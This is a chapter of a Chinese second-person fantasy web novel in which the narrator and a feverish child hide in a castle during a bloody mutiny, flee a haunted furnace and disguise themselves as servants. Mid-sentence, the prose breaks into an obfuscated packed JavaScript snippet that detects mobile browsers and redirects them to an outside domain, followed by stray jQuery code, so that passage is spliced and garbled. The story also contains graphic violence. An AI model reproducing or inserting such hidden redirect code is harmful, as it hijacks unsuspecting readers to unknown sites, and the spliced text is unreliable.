听完桃磕磕巴巴的描述,你直接从迷茫转为了惊惧。
按他的说法,你跟他说着说着就没音了,也不再往前爬,他叫了你好一会儿你都一点动静都没有,但等他准备返回来看你的情况时,你突然发出了奇怪的咕哝,又开始动了,只是爬得比之前还缓慢;你咕哝了一路,直到从管道里掉出来摔在地上都还在发出这种怪异的声音,像是想说什么又忘了怎么说话似的,表情和肢体更是像抽风了一样乱飞,但随后又是忽然间就闭上眼睛没动静了——直到几秒后你醒来、恢复正常。
梦游是这个症状吗?你不由得想到之前喝了“安宁水”睡着之后会乱动的情况,但你已经很久都没喝过它了……
等等。
??
……你没有喝“安宁水”,但喝了掺着“机敏水”和乱七八糟香料草药的奥寇巴尔专供酒。
其实你在酒里掺的“机敏水”没多少,用量还没有一般药用来的多,毕竟这玩意儿还挺贵的,所以你才敢陪奥寇巴尔喝上几杯,进肚的量可能只有一两滴……可鬼能想到你还可能会“过敏”啊!
你当场焦虑起了可能的上瘾症状。
不过,焦虑归焦虑,当务之急是趁乱给自己和桃捞点装备回来;你暂且按捺下心中的不安,在这间“锅炉房”里寻找起了可用工具。
“锅炉房”的位置处在大厅和宴会厅以下,门外就是尼莫斯带你曾走过的幽暗走廊内部的分支小巷,门口挂了盏手提费诺灯,但里面的宝石不见了;好在还有一扇用于通风的小窗,而这会儿天色已经泛起了鱼肚白,屋子里虽暗,但还算能视物。
烧宝石的炉子是铜铸的,长得像个巨大的酒桶,整体刷了黑色的漆类涂料,大概是由于年代久远或维护不利的原因,很多部位长出了青绿的铜锈;它周身离地面一米左右的地方伸出了几条管路,一些长圆筒被随意地丢在地上,应该是采暖时用来连接炉子管道和采暖通道的,这会儿它们都被断开了,你们才不至于从通道直接掉进炉子。
你看了看那些墙壁上伸出来一截的采暖通道。桃也只知道还有一条是通往小宴会厅的,其他通道目的地不明,你们暂时也没有时间和精力去探索了。
在墙角找到一把锈迹斑斑的撬棍和一盘绳子后,你又爬上了炉子边的梯子,打开厚重的炉门往炉子里面看过去,盼望着能捡到一两块没烧完的宝石当路费;可惜炉子里一片黑暗,还有些描述不来的奇怪气味,只能隐约看到炉子内部半空中悬挂着一个大盘子,往上往下都看不清楚了。
但突兀的,你眼前的黑暗像是有了生命,又出现了五光十色的、仿佛某种屏幕保护动画一样的“飘带”。
那些“飘带”一开始只是像在采暖通道里那样稀疏地、三三两两地舞动,然而在你盯着它们愣住后,大量的“飘带”开始从炉子底部翻涌着飘上来,宛如伽椰子的头发一般从炉门口溢出,你还没反应过来就被扑了一脸,虽然并没有什么实感,但还是吓得你一下子摔上炉门,以最快的速度跳下了梯子。
桃也吓坏了,他磕巴得更厉害,且开始胡言乱语:“有,有人,说话,好多人,我的脑袋里……”
“炉子里有东西,我们不能一直呆在这里了!”你没理解他在说什么,哆嗦着把撬棍和匕首拿好,又让他把小包袱背在身上,仓促观察了一下门外的情况,牵着他出了门。
……外面也没好到哪儿去。
大厅里的武装冲突已经蔓延到了城堡里,在宴会上殒命的首领家族首当其冲,成了被乱兵劫掠的目标;事到如今,希姆凛城堡已经没有人可以置身事外,不管哪个阵营出身何处,首领们都在趁乱努力攫取利益,不争斗或试图终止争斗的人反而会成为显眼的靶子。
仆人们则要么被乱兵杀害,要么成为乱兵的一员,有人逃去了城里,也有人躲在城堡的某个隐蔽角落,战战兢兢地等待兵变结束——你们本来也是要在“锅炉房”呆一段时间的,但那个炉子实在太邪性了。
你和桃贴着冰冷的石墙,悄悄地挪向“光明”的走廊,越接近那里,令人寒毛直竖的气味越浓重——铁锈味、内脏的腥臊气、排泄物的恶臭,皮肉烧焦后特有的、令人作呕的油腻香味混杂在一起,浓烈得几乎有了实质,沉沉地压在你的喉咙口。
桃死死抓着你的衣角,牙齿磕碰的细微声响在死寂的间隙里清晰可闻。
……你这身板实在是挡不了拐角处血型恐怖的景象进入他的视野,还不如大厅里的检修口盖板呢。
这条走廊是离开城堡前往仆人小道的必经之路,但如今,你能看出来,任何试图穿越的人都会成为混乱漩涡中的牺牲品;武器碰撞声和沉重的脚步声越来越近,听起来是一群士兵跑过来了,你们只好慌乱地又沿着小巷返回去,钻进了更深的死胡同中堆叠的杂物和垃圾里。
过了一会儿,你就听到了砸门声和惨叫嚎哭声,不由得屏住呼吸,也做好了捂住桃口鼻的准备,生怕他被吓到后发出声音引来暴徒,好在他虽然抖得厉害,但还是十分安静地缩在你怀里;没多久,那些声音都消失了,只剩下诅咒声和翻找东西的声音,好几次都有人走到了你们附近,但提灯一照过来,他们就咒骂着离开了。
无他,你们藏身的地方实在是太过破烂肮脏了,墙上地上还有好几滩谜之污迹呢。
你度日如年地熬到了他们离开,让桃继续藏着,自己胆战心惊地来到了那几个被他们砸开的房间;哪怕你经历过更惨烈的战争、见过更可怕的尸体,也仍旧费了一番力气给自己做心理暗示,扒了一套相对合身的仆人服装换上了。
再次尝试离开时,你们发现所有房间的门都被破坏了,包括“锅炉房”,你又不由得有些庆幸因为发现炉子闹鬼而提前跑了出来。
但那些“飘带”到底是什么?你的“梦游”又是怎么回事?真的只是因为那一点“机敏水”吗?
你和桃靠身上脸上涂满血迹、时不时躺在地上装死躲过了好几波乱兵,终于挪出了城堡,来到了广场;然而广场上情况也不容乐观,有号角声低沉地响起,而一支不知道谁家的军队正在从城里往广场这边集群冲过来,你们不得不又逃回了城堡。
……这下一夜回到解放前了。
你们在城堡里东躲西藏,最后还是不得不返回了“锅炉房”,又不敢接近那个炉子,有人来查探只能钻进采暖通道躲避;雪上加霜的是,桃从半夜到现在一直没休息过,他看起来再吃苦耐劳也还是个小孩儿,且连惊带吓的折腾了这么长时间,就发起高烧来了。
你们没准备水,“锅炉房”也没有水,你只好把他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15911954|170186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
藏在采暖通道里,准备出门闯荡一番;但他在你交代他留守事项时就抽抽搭搭地哭了起来,又抓着你的袖子不松手,漆黑的管道配上哭得扭曲的黢黑小脸,看起来又可怜又吓人,你很快就说不下去了。
也是,你自己都害怕那个炉子,幼儿园小朋友不更害怕吗?
这么一想,你就发现了一个之前被你忽略的现象——走廊和巷子上的那些房间里基本上都藏过人(也基本上都死了),但除了你俩,连士兵都只会进来匆匆扫一眼就跑出去,根本没其他人进来避难。
……难不成大家都知道这炉子有问题?
你又看向了桃。哪怕你这样的体质废柴,小时候也不至于这么容易发高烧……到底是因为奥克“进化”得太过,还是因为你们和这炉子呆得太久了?
你没有太多思考的时间,一咬牙一闭眼,用绳子一端绑住桃的腰一端绑住自己的腰,带着他一起钻进了通往小宴会厅的那条通道。
??
你能爬出去,那当然是赢;你半路晕了,“梦游”爬出去,也是赢;你俩卡死在管子里,腐烂了定能熏吐一众敌人还难以清理,还是赢!
但这一路意外的顺利,你居然没有胸闷心慌出现幻觉,到达小宴会厅的检修口时还有心力思考再往前爬会通往哪里;小宴会厅显然也经过了一番恶战,但尸体都被整整齐齐地摆好了,几个奥克正在扒它们的甲胄武器,黄昏的日光中,他们被拉长的佝偻影子宛如一群秃鹫。
你想到广场上的那支军队,迅速意识到了那很可能是一只“黄雀”——看来,你和尼莫斯都小看奥克的智力了。
你耐心地等到他们离去,才从通道里爬出来,背着桃奔向小宴会厅后面的屋子,那里是用于备餐的,这会儿也已经躺了好些仆人的尸体,连石砌蓄水池都是淡红的,还有具头朝下、半拉身体泡在水里的女尸;但这不是挑剔的时候,反正她大概率没死多长时间,你把她捞出来在地上放好,这水就又能捏着鼻子用了。
有水用来解渴降温,桃的情况好了一些;你们呆在这间屋子里,混过了有惊无险的一夜。
太阳升起来时,逃出去的仆人们陆续回来了,你利用炉灰把自己涂得跟桃的肤色不相上下,把头发割得乱七八糟,用了桃生父的名字跟他兄弟相称,丝滑地混进了他们之中,还分到了大通铺的一个床位。
没多久,你和桃与同事们就被叫到广场上,把广场又仔仔细细清理了一遍;到了这天傍晚,希姆凛城北门的号角声响了起来。
麻木而疲惫的仆人们在广场上黑压压地跪伏了一地,除了你,谁也没敢抬头;戈格尔昂首挺胸地站在了所有首领身前,你看到了几个眼熟的身影,但没看到尼莫斯。
忽然,首领们哗啦啦地也单膝跪下了;你埋了埋脑袋,眼睛透过乱发继续往外看,碍于角度却只能看到低处的景象。
肩高堪比马匹的巨狼像头移动的小山,猩红的舌头挂在獠牙边喘着气,粗壮的四肢踩踏在地上发出沉闷的响声;它在首领们面前停下了脚步,却与它背上的高大人形共同向匍匐的仆人们投下了可怖的阴影,几乎让空气凝固了。
一个冷漠、平静却优雅的声音在沉寂中响起:“看来,在我缺席的小小间隙里,家里似乎闹了点……不太体面的动静。”